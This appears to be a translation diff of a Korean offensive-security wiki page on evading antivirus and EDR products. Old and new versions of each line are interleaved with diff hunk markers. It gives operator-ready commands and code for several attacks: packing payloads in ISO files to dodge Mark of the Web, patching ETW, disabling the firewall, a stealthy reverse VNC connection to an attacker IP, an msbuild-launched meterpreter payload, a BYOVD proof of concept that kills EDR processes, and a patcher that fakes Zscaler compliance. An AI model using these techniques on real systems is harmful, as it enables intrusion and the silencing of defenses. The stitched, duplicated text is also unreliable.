- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP(return-oriented programming)를 사용해 LLVM 지원 언어용의 세밀한 code obfuscation 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP 체인으로 변환하여 어셈블리 코드 수준에서 프로그램을 obfuscate함으로써 기존의 정상적인 제어 흐름 개념을 방해합니다.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt는 Nim으로 작성된 .NET PE Crypter입니다.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 shellcode로 변환한 후 로드할 수 있습니다
## SmartScreen & MoTW
인터넷에서 일부 executables를 다운로드하고 실행할 때 이 화면을 본 적이 있을 것입니다.
인터넷에서 일부 실행 파일을 다운로드하여 실행할 때 이 화면을 본 적이 있을 것입니다.
Microsoft Defender SmartScreen은 최종 사용자가 잠재적으로 악성인 애플리케이션을 실행하는 것을 방지하기 위한 보안 메커니즘입니다.
Microsoft Defender SmartScreen은 최종 사용자가 잠재적으로 악성인 응용 프로그램을 실행하는 것으로부터 보호하기 위한 보안 메커니즘입니다.
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen은 주로 reputation-based 접근 방식을 사용합니다. 즉, 드물게 다운로드되는 애플리케이션은 SmartScreen을 트리거하여 경고하고 최종 사용자가 파일을 실행하지 못하합니다(하지만 파일은 여전히 More Info -> Run anyway를 클릭하면 실행할 수 있습니다).
SmartScreen은 주로 reputation-based 접근 방식을 사용합니다. 즉, 드물게 다운로드되는 애플리케이션은 SmartScreen을 트리거하여 경고를 표시하고 최종 사용자가 파일을 실행하지 못하도록 방지합니다(하지만 파일은 여전히 More Info -> Run anyway를 클릭하면 실행할 수 있습니다).
**MoTW** (Mark of The Web)은 Zone.Identifier라는 이름의 NTFS Alternate Data Stream으로, 인터넷에서 파일을 다운로드할 때 자동으로 생성되며 다운로드된 URL을 함께 저장합니다.
**MoTW** (Mark of The Web) 는 [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) 중 Zone.Identifier라는 이름을 가진 ADS로, 인터넷에서 파일을 다운로드할 때 다운로드된 URL과 함께 자동으로 생성됩니다.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>인터넷에서 다운로드한 파일의 Zone.Identifier ADS 확인.</p></figcaption></figure>
<figure><img src="../images/image (237).png" alt=""><figcaption><p>인터넷에서 다운로드한 파일의 Zone.Identifier ADS 확인합니다.</p></figcaption></figure>
> [!TIP]
> trusted signing certificate로 서명된 executables는 SmartScreen을 트리거하지 않는다는 점을 유의하세요.
> 중요한 점은 **신뢰된** 서명 인증서로 서명된 실행 파일은 SmartScreen을 **트리거하지 않습니다**.
payloads가 Mark of The Web을 받지 않도록 하는 매우 효과적인 방법은 ISO 같은 컨테이너 안에 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW)이 non NTFS 볼륨에는 적용될 수 없기 때문입니다.
payloads가 Mark of The Web을 얻지 않게 하는 매우 효과적인 방법은 ISO 같은 컨테이너 안에 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW)이 **non NTFS** 볼륨에는 **적용될 수 없습니다**.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)는 payloads를 output containers로 패키징하여 Mark-of-the-Web을 회피하는 도구입니다.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) 는 payloads를 output containers에 패키징하여 Mark-of-the-Web을 회피하는 도구입니다.
예시:
Example usage:
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
@ -387,51 +387,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
## ETW
Event Tracing for Windows (ETW)은 애플리케이션과 시스템 구성요소가 **이벤트를 기록(log events)** 할 수 있게 해주는 Windows의 강력한 로깅 메커니즘입니다. 그러나 보안 제품이 악성 활동을 모니터링하고 탐지하는 데에도 사용될 수 있습니다.
Event Tracing for Windows (ETW)는 애플리케이션과 시스템 구성요소가 **events를 기록(log events)** 할 수 있게 해주는 강력한 Windows 로깅 메커니즘입니다. 그러나 보안 제품이 악성 활동을 모니터링하고 탐지하는데 ETW를 활용할 수도 있습니다.
AMSI가 비활성화(우회)되는 방식과 유사하게, 사용자 공간 프로세스의 **`EtwEventWrite`** 함수를 이벤트를 기록하지 않고 즉시 반환하도록 만들 수도 있습니다. 이는 해당 함수를 메모리에서 패치하여 즉시 반환하게 함으로써 그 프로세스의 ETW 로깅을 사실상 비활성화하는 방식입니다.
AMSI가 우회되는 방식과 유사하게, 사용자 공간 프로세스의 **`EtwEventWrite`** 함수를 즉시 반환하도록 만들어 어떠한 이벤트도 기록되지 않게 하는 것도 가능합니다. 이는 메모리에서 해당 함수를 패치하여 즉시 반환하게 함으로써 그 프로세스에 대한 ETW 로깅을 사실상 비활성화하는 방법입니다.
자세한 내용은 **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)** 를 참고하세요.
## C# Assembly Reflection
C# 바이너리를 메모리에서 로딩하는 방법은 오래전부터 알려져 왔으며, AV에 적발되지 않고 포스트-익스플로잇 도구를 실행하는 데 여전히 매우 좋은 방법입니다.
메모리에서 C# 바이너리를 로드하는 것은 오래전부터 알려진 방법이며, 여전히 AV에 걸리지 않고 post-exploitation 도구를 실행하는 훌륭한 방법입니다.
페이로드가 디스크를 거치지 않고 직접 메모리에 로드되기 때문에, 프로세스 전체에 대해 AMSI를 패치하는 것만 신경 쓰면 됩니다.
페이로드가 디스크를 건드리지 않고 직접 메모리로 로드되기 때문에, 우리는 프로세스 전체에 대해 AMSI를 패치하는 것만 신경쓰면 됩니다.
대부분의 C2 프레임워크 (sliver, Covenant, metasploit, CobaltStrike, Havoc 등)는 이미 C# 어셈블리를 메모리에서 직접 실행하는 기능을 제공하지만, 이를 수행하는 방법은 여러 가지가 있습니다:
대부분의 C2 프레임워크(sliver, Covenant, metasploit, CobaltStrike, Havoc 등)는 이미 C# 어셈블리를 메모리에서 직접 실행하는 기능을 제공하지만, 이를 구현하는 방법은 여러 가지가 있습니다:
- **Fork\&Run**
이는 **새로운 희생 프로세스(spawning a new sacrificial process)** 를 생성하고, 그 새 프로세스에 포스트-익스플로잇 악성 코드를 인젝션한 뒤 실행하고 완료되면 새 프로세스를 종료하는 방식입니다. 장단점이 있습니다. Fork and run 방식의 장점은 실행이 우리의 Beacon implant 프로세스 **외부(outside)** 에서 발생한다는 점입니다. 즉, 포스트-익스플로잇 동작 중 문제가 생기거나 탐지되더라도 우리의 implant가 살아남을 가능성이 **훨씬 더 큽니다.** 단점은 **Behavioural Detections** 에 의해 탐지될 가능성이 **더 높다**는 점입니다.
새로운 희생 프로세스를 **스폰(spawn)** 하고, 그 새 프로세스에 post-exploitation 악성 코드를 인젝션한 뒤 실행하고 완료되면 새 프로세스를 종료하는 방법입니다. 이 방식은 장단점이 있습니다. 장점은 실행이 우리 Beacon implant 프로세스 **외부**에서 일어난다는 점입니다. 따라서 post-exploitation 동작 중 문제가 생기거나 탐지되더라도 우리 **implant가 살아남을 가능성**이 훨씬 큽니다. 단점은 **Behavioural Detections**에 의해 걸릴 가능성이 더 높다는 점입니다.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
이는 포스트-익스플로잇 악성 코드를 **자체 프로세스에 인젝션(into its own process)** 하는 방식입니다. 이렇게 하면 새 프로세스를 만들고 AV에 스캔되는 것을 피할 수 있지만, 페이로드 실행 중 문제가 생기면 크래시로 인해 **beacon을 잃을** 가능성이 **훨씬 더 큽니다.**
자신의 프로세스에 post-exploitation 악성 코드를 **인젝션** 하는 방식입니다. 이렇게 하면 새 프로세스를 생성하여 AV 스캔을 피할 필요가 없지만, 페이로드 실행 중 문제가 생기면 프로세스가 크래시할 수 있어 **beacon을 잃을 가능성**이 훨씬 큽니다.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> C# Assembly 로딩에 대해 더 읽고 싶다면 이 글 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 그들의 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))를 확인하세요.
> C# Assembly 로딩에 대해 더 읽고 싶다면 이 글을 확인하세요: [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 그들의 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
또한 PowerShell에서 C# 어셈블리를 로드할 수도 있습니다. [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 와 [S3cur3th1sSh1t의 비디오](https://www.youtube.com/watch?v=oe11Q-3Akuk)를 확인해 보세요.
PowerShell에서도 C# Assemblies를 로드할 수 있습니다. [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)와 [S3cur3th1sSh1t의 영상](https://www.youtube.com/watch?v=oe11Q-3Akuk)을 확인하세요.
## Using Other Programming Languages
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), 침해된 머신이 공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 접근할 수 있게 하면 다른 언어를 사용 악성 코드를 실행할 수 있습니다.
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)에서 제안된 것처럼, 공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 침해된 머신이 접근할 수 있게 하면 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.
SMB 공유의 인터프리터 바이너리와 환경에 대한 접근을 허용함으로써 침해된 머신의 메모리 내에서 이러한 언어들로 임의 코드를 **실행(execute arbitrary code in these languages within memory)** 할 수 있습니다.
SMB 공유에서 Interpreter Binaries와 환경에 접근을 허용함으로써 침해된 머신의 메모리 내에서 해당 언어들로 **임의의 코드를 실행**할 수 있습니다.
저장소에는 다음과 같이 적혀 있습니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용하면 **정적 시그니처를 우회할 수 있는 더 큰 유연성(more flexibility to bypass static signatures)** 을 얻을 수 있습니다. 이들 언어로 작성된 무작위의 난독화되지 않은 리버스 셸 스크립트로 테스트한 결과 성공적이었습니다.
레포에는 다음과 같이 적혀 있습니다: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 이용하면 **정적 시그니처를 우회할 유연성**이 더 생깁니다. 난독화하지 않은 무작위 리버스 쉘 스크립트들로 테스트한 결과 성공을 거두었습니다.
## TokenStomping
Token stomping은 공격자가 액세스 토큰이나 EDR 또는 AV 같은 보안 제품을 **조작(manipulate the access token or a security prouct like an EDR or AV)** 하여 권한을 축소함으로써 프로세스가 종료되지는 않지만 악성 활동을 검사할 권한을 상실하게 만드는 기법입니다.
Token stomping은 공격자가 액세스 토큰이나 EDR/AV 같은 보안 제품의 토큰을 **조작(manipulate)** 하여 권한을 낮춤으로써 프로세스가 죽지 않으면서도 악성 활동을 확인할 권한을 잃게 만드는 기술입니다.
이를 방지하기 위해 Windows는 보안 프로세스의 토큰에 대해 외부 프로세스가 핸들을 얻는 것을 **차단(prevent external processes)** 할 수 있습니다.
이를 방지하려면 Windows가 보안 프로세스의 토큰에 대해 외부 프로세스가 핸들을 얻는 것을 **차단**할 수 있어야 합니다.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
@ -441,26 +441,27 @@ Token stomping은 공격자가 액세스 토큰이나 EDR 또는 AV 같은 보
### Chrome Remote Desktop
As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), 피해자의 PC에 Chrome Remote Desktop을 배포한 뒤 이를 통해 takeover 및 persistence를 유지하는 것이 쉽습니다:
1. https://remotedesktop.google.com/ 에서 다운로드하고 "Set up via SSH"를 클릭한 다음 Windows용 MSI 파일을 클릭하여 MSI 파일을 다운로드합니다.
2. 피해자 시스템에서 관리자 권한으로 인스톨러를 무음 설치합니다: `msiexec /i chromeremotedesktophost.msi /qn`
3. Chrome Remote Desktop 페이지로 돌아가서 Next를 클릭하세요. 설치 마법사가 권한 승인을 요청하면 Authorize 버튼을 클릭하여 계속합니다.
4. 제공된 파라미터를 약간 수정하여 실행하세요: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (참고: pin 파라미터로 GUI를 사용하지 않고 핀을 설정할 수 있습니다.)
[**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide)에 설명된 것처럼, 피해자 PC에 Chrome Remote Desktop을 배포하고 이를 통해 인수(takeover) 및 지속성(persistence)을 유지하는 것이 쉽습니다:
1. https://remotedesktop.google.com/ 에서 다운로드하고 "Set up via SSH"를 클릭한 뒤 Windows용 MSI 파일을 다운로드하세요.
2. 피해자에서 설치 프로그램을 조용히 실행합니다(관리자 권한 필요): `msiexec /i chromeremotedesktophost.msi /qn`
3. Chrome Remote Desktop 페이지로 돌아가서 다음을 클릭하세요. 마법사가 계속하려면 권한 부여를 요청할 것이며, 계속하려면 Authorize 버튼을 클릭하세요.
4. 약간 조정한 매개변수로 제공된 명령을 실행하세요: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (GUI를 사용하지 않고 pin을 설정할 수 있게 해주는 pin 파라미터에 주의하세요).
## Advanced Evasion
Evasion은 매우 복잡한 주제이며, 때로는 하나의 시스템에서 여러 출처의 텔레메트리를 모두 고려해야 하므로 성숙한 환경에서 완전히 탐지되지 않는 상태를 유지하는 것은 거의 불가능합니다.
Evasion은 매우 복잡한 주제입니다. 하나의 시스템에서 여러 소스의 텔레메트리를 고려해야 할 때가 많아 성숙한 환경에서는 완전히 탐지되지 않는 상태를 유지하는 것은 사실상 불가능합니다.
각 환경마다 강점과 약점이 다릅니다.
고급 회피 기술에 대해 이해를 넓히려면 [@ATTL4S](https://twitter.com/DaniLJ94)의 이 강연을 꼭 보시길 권합니다.
많은 Advanced Evasion 기술을 익히려면 [@ATTL4S](https://twitter.com/DaniLJ94)의 이 강연을 꼭 보시길 권합니다.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
이것은 또한 Evasion in Depth에 관한 [@mariuszbit](https://twitter.com/mariuszbit)의 또 다른 훌륭한 강연입니다.
his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth.
{{#ref}}
@ -471,12 +472,12 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Check which parts Defender finds as malicious**
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하면 바이너리의 일부를 단계적으로 제거하면서 Defender가 어떤 부분을 악성으로 판단하는지 찾아내어 분리해 줍니다.\
동일한 기능을 제공하는 또 다른 도구는 [**avred**](https://github.com/dobin/avred)이며, 서비스는 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)에서 웹으로 제공됩니다.
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)를 사용하면 바이너리의 일부를 **제거**하면서 어떤 부분을 Defender가 악성으로 판단하는지 찾아서 분리해줍니다.\
동일한 기능을 제공하는 또 다른 도구는 [**avred**](https://github.com/dobin/avred)이며, 웹 서비스를 통해 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 에서 제공됩니다.
### **Telnet Server**
Windows 10 이전까지 모든 Windows에는 관리자 권한으로 설치할 수 있는 **Telnet server**가 기본적으로 포함되어 있었습니다. 설치하려면 다음을 실행하세요:
Windows10 이전까지는 모든 Windows에 **Telnet server**를 관리자 권한으로 설치할 수 있었습니다:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
@ -484,32 +485,32 @@ pkgmgr /iu:"TelnetServer" /quiet
```bash
sc config TlntSVR start= auto obj= localsystem
```
**telnet port 변경** (stealth) 및 firewall 비활성화:
**telnet 포트 변경** (스텔스) 및 firewall 비활성화:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (bin 다운로드를 사용하세요, setup는 사용하지 마세요)
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (설치 프로그램(setup)이 아닌 bin 다운로드를 받으세요)
**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server:
**호스트에서**: Execute _**winvnc.exe**_ and configure the server:
- 옵션 _Disable TrayIcon_ 활성화
- _VNC Password_에 비밀번호 설정
- _View-Only Password_에 비밀번호 설정
- 옵션 _Disable TrayIcon_을 활성화하세요
- _VNC Password_에 암호를 설정하세요
- _View-Only Password_에 암호를 설정하세요
그런 다음, 바이너리 _**winvnc.exe**_와 새로 생성된 파일 _**UltraVNC.ini**_를 **victim** 내부로 이동하세요
그런 다음, 바이너리 _**winvnc.exe**_와 **새로** 생성된 파일 _**UltraVNC.ini**_를 victim 내부로 옮기세요
#### **Reverse connection**
The **attacker**는 자신의 **host**에서 바이너리 `vncviewer.exe -listen 5900`를 실행해 reverse **VNC connection**을 수신할 준비를 해야 합니다. 그런 다음, **victim** 내부에서는: winvnc 데몬 `winvnc.exe -run`를 시작하고 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`를 실행하세요
The attacker should execute inside his host the binary `vncviewer.exe -listen 5900` so it will be prepared to catch a reverse VNC connection. Then, inside the victim: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**WARNING:** 은폐(stealth)를 유지하려면 다음을 하지 마세요
**경고:** 은밀함을 유지하려면 다음을 하지 마세요
- 이미 실행 중인 경우 `winvnc` 시작하지 마세요. 그렇지 않으면 [popup](https://i.imgur.com/1SROTTl.png)이 니다. 실행 여부는 `tasklist | findstr winvnc`로 확인하세요
- 같은 디렉터리에 `UltraVNC.ini`가 없는`winvnc`를 시작하면 [설정 창](https://i.imgur.com/rfMQWcf.png)이 열립니다
- 도움말을 위해 `winvnc -h`를 실행하지 마세요. [popup](https://i.imgur.com/oc18wcu.png)이 표시됩니다
- 이미 `winvnc`가 실행 중일 때 다시 시작하지 마세요. 그렇지 않으면 [popup](https://i.imgur.com/1SROTTl.png)이 발생합니다. 실행 여부는 `tasklist | findstr winvnc`로 확인하세요
- 같은 디렉터리에 `UltraVNC.ini`가 없는 상태에서 `winvnc`를 시작하지 마세요. 그렇지 않으면 [the config window](https://i.imgur.com/rfMQWcf.png)가 열립니다
- 도움말을 위해 `winvnc -h`를 실행하지 마세요. 그러면 [popup](https://i.imgur.com/oc18wcu.png)이 발생합니다
### GreatSCT
@ -531,13 +532,13 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
이제 `msfconsole -r file.rc`로 **lister를 시작**하고 **xml payload를 실행**하려면:
이제 `msfconsole -r file.rc`로 **start the lister**하고, 다음과 같이 **xml payload**를 **execute**하세요:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**현재 Defender는 프로세스를 매우 빠르게 종료합니다.**
**현재 defender는 프로세스를 매우 빠르게 종료합니다.**
### 우리만의 reverse shell 컴파일하기
### 우리만의 reverse shell 컴파일
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
@ -644,7 +645,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
C# obfuscators 목록: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
C# 난독화 도구 목록: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -659,7 +660,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### python을 사용한 build injectors 예시:
### python을 사용한 인젝터 빌드 예제:
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -688,28 +689,28 @@ https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
```
### More
### 추가
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
## Bring Your Own Vulnerable Driver (BYOVD) 커널 공간에서 AV/EDR 종료
Storm-2603은 **Antivirus Terminator**라는 작은 콘솔 유틸리티를 이용해 랜섬웨어를 배포하기 전에 엔드포인트 보호를 비활성화했습니다. 이 도구는 **자체적으로 취약하지만 *서명된* 드라이버**를 포함하고 있으며, 이를 악용해 Protected-Process-Light (PPL) AV 서비스조차 차단할 수 없는 권한 있는 커널 작업을 수행합니다.
Storm-2603는 **Antivirus Terminator**로 알려진 작은 콘솔 유틸리티를 이용해 ransomware를 배포하기 전에 엔드포인트 보호를 비활성화했습니다. 이 도구는 **자체적으로 취약하지만 *서명된* 드라이버**를 포함하고 있으며, 이를 악용해 Protected-Process-Light (PPL) AV 서비스조차 차단할 수 없는 권 커널 작업을 수행합니다.
핵심 요점
1. **서명된 드라이버**: 디스크에 배달된 파일은 `ServiceMouse.sys`이지만 바이너리는 Antiy Labs의 “System In-Depth Analysis Toolkit”에서 온 정식 서명된 드라이버 `AToolsKrnl64.sys`입니다. 드라이버에 유효한 Microsoft 서명이 있으므로 Driver-Signature-Enforcement (DSE)가 활성화된 상태에서도 로드됩니다.
1. **Signed driver**: 디스크에 배달되는 파일은 `ServiceMouse.sys`이지만, 바이너리는 Antiy Labs의 “System In-Depth Analysis Toolkit”에 포함된 정식 서명된 드라이버 `AToolsKrnl64.sys`입니다. 드라이버가 유효한 Microsoft 서명을 가지고 있기 때문에 Driver-Signature-Enforcement (DSE)가 활성화된 상태에서도 로드됩니다.
2. **서비스 설치**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
첫 번째 줄은 드라이버를 **커널 서비스**로 등록하고 두 번째 줄은 이를 시작하여 `\\.\ServiceMouse`가 사용자 영역에서 접근 가능하게 만듭니다.
3. **드라이버가 노출한 IOCTL**
첫 번째 줄은 드라이버를 **kernel service**로 등록하고 두 번째 줄은 이를 시작하여 `\\.\ServiceMouse`가 user land에서 접근 가능하게 만듭니다.
3. **IOCTLs exposed by the driver**
| IOCTL code | Capability |
|-----------:|-----------------------------------------|
| `0x99000050` | PID로 임의 프로세스를 종료 (Defender/EDR 서비스를 종료하는 데 사용됨) |
| `0x99000050` | PID로 임의의 프로세스를 종료 (Defender/EDR services 종료에 사용됨) |
| `0x990000D0` | 디스크의 임의 파일 삭제 |
| `0x990001D0` | 드라이버를 언로드하고 서비스를 제거 |
| `0x990001D0` | 드라이버 언로드 및 서비스 제거 |
Minimal C proof-of-concept:
```c
@ -723,28 +724,28 @@ CloseHandle(hDrv);
return 0;
}
```
4. **작동 원리**: BYOVD는 사용자 모드 보호를 완전히 우회합니다; 커널에서 실행되는 코드는 *보호된* 프로세스를 열거나 종료하거나 PPL/PP, ELAM 또는 기타 하드닝 기능과 무관하게 커널 객체를 변조할 수 있습니다.
4. **Why it works**: BYOVD는 유저-모드 보호를 완전히 우회합니다; 커널에서 실행되는 코드는 *protected* 프로세스를 열거나 종료하거나 PPL/PP, ELAM 또는 기타 하드닝 기능에 관계없이 커널 객체를 변조할 수 있습니다.
탐지 / 완화
Microsoft의 취약 드라이버 차단 목록(`HVCI`, `Smart App Control`)을 활성화하여 Windows가 `AToolsKrnl64.sys` 로드를 거부하도록 합니다.
새로운 *커널* 서비스 생성 모니터링 및 드라이버가 world-writable 디렉터리에서 로드되었거나 allow-list에 없는 경우 알림을 설정합니다.
사용자 모드에서 커스텀 디바이스 오브젝트에 대한 핸들이 생성된 다음 의심스러운 `DeviceIoControl` 호출이 발생하는지 감시합니다.
Microsoft의 vulnerable-driver 차단 목록(`HVCI`, `Smart App Control`)을 활성화하여 Windows가 `AToolsKrnl64.sys` 로드를 거부하도록 합니다.
새로운 *kernel* 서비스 생성 모니터링 및 드라이버가 world-writable 디렉터리에서 로드되었거나 allow-list에 없는 경우 경고를 발생시킵니다.
사용자 모드 핸들이 custom device 객체에 열리고 이어서 의심스러운 `DeviceIoControl` 호출이 발생하는지 감시합니다.
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Zscaler의 **Client Connector**는 장치 posture 규칙을 로컬에서 적용하고 결과를 다른 구성요소에 전달하기 위해 Windows RPC에 의존합니다. 두 가지 약한 설계 선택으로 인해 완전 우회가 가능합니다:
Zscaler의 **Client Connector**는 장치 posture 규칙을 로컬에서 적용하고 Windows RPC를 통해 결과를 다른 구성요소로 전달합니다. 두 가지 취약한 설계 선택으로 인해 완전한 우회가 가능합니다:
1. Posture 평가**전적으로 클라이언트 측에서** 이루어짐 (서버에는 boolean만 전송됨).
2. 내부 RPC 엔드포인트는 연결하는 실행 파일이 **Zscaler에 의해 서명되었는지**(`WinVerifyTrust`를 통해)만 검증함.
1. Posture 평가가 **entirely client-side**에서 이루어집니다 (불리언 값이 서버로 전송됨).
2. 내부 RPC 엔드포인트는 연결하는 실행파일이 **signed by Zscaler**인지(`WinVerifyTrust`를 통해)만 검증합니다.
디스크의 서명된 바이너리 4개를 패치하면 두 메커니즘을 모두 무력화할 수 있습니다:
디스크에 있는 서명된 바이너리 네 개를 **패치(patching)** 하면 두 메커니즘을 모두 무력화할 수 있습니다:
| Binary | Original logic patched | Result |
|--------|------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 항상 `1`을 반환하여 모든 검사에서 적합으로 처리됨 |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP 처리 ⇒ 어떤 프로세스(심지어 서명되지 않은 것이라도)도 RPC 파이프에 바인딩 가능 |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret`체됨 |
| `ZSATunnel.exe` | Integrity checks on the tunnel | 쇼트시킷됨 |
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 항상 `1`을 반환하여 모든 검사에서 준수로 처리됨 |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ 어떤 프로세스(심지어 unsigned)라도 RPC 파이프에 바인드 가능 |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret`체됨 |
| `ZSATunnel.exe` | Integrity checks on the tunnel | 단락 처리(short-circuited) |
Minimal patcher excerpt:
```python
@ -762,17 +763,17 @@ f.write(replacement)
```
원본 파일을 교체하고 서비스 스택을 재시작한 후:
* **All** posture checks display **green/compliant**.
* Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* The compromised host gains unrestricted access to the internal network defined by the Zscaler policies.
* **모든** posture checks가 **green/compliant**로 표시됩니다.
* 서명되지 않았거나 수정된 바이너리가 named-pipe RPC endpoints를 열 수 있습니다 (예: `\\RPC Control\\ZSATrayManager_talk_to_me`).
* 감염된 호스트는 Zscaler 정책에 의해 정의된 내부 네트워크에 대한 무제한 접근 권한을 얻습니다.
이 사례 연구는 순수한 클라이언트 측 신뢰 결정과 단순한 서명 검사들이 몇 바이트 패치로 어떻게 무력화될 수 있는지를 보여줍니다.
이 사례는 순수히 클라이언트 측 신뢰 결정과 단순한 signature checks가 몇 바이트 패치로 어떻게 무력화될 수 있는지를 보여줍니다.
## Protected Process Light (PPL)을 악용하여 LOLBINs로 AV/EDR을 변조하기
## Protected Process Light (PPL)을 악용 LOLBINs로 AV/EDR을 변조하기
Protected Process Light (PPL)은 signer/level 계층을 강제하여 동등하거나 더 높은 권한의 protected process만 서로를 변조할 수 있게 합니다. 공격적으로, 합법적으로 PPL-활성화 바이너리를 실행하고 그 인수를 제어할 수 있다면, 정상적인 기능(예: 로깅)을 AV/EDR에서 사용하는 보호된 디렉터리에 대해 제한된 PPL 기반 쓰기 프리미티브로 전환할 수 있습니다.
Protected Process Light (PPL)은 서명자/레벨 계층을 강제하여 동급 또는 상위 권한의 보호 프로세스만 서로를 변조할 수 있게 합니다. 공격적으로 보면, 합법적으로 PPL-enabled 바이너리를 실행하고 그 인수를 제어할 수 있다면, 정상적인 기능(예: logging)을 AV/EDR에서 사용하는 보호된 디렉터리에 대한 제약된, PPL 기반의 write primitive로 전환할 수 있습니다.
프로세스가 PPL로 실행되려면
What makes a process run as PPL
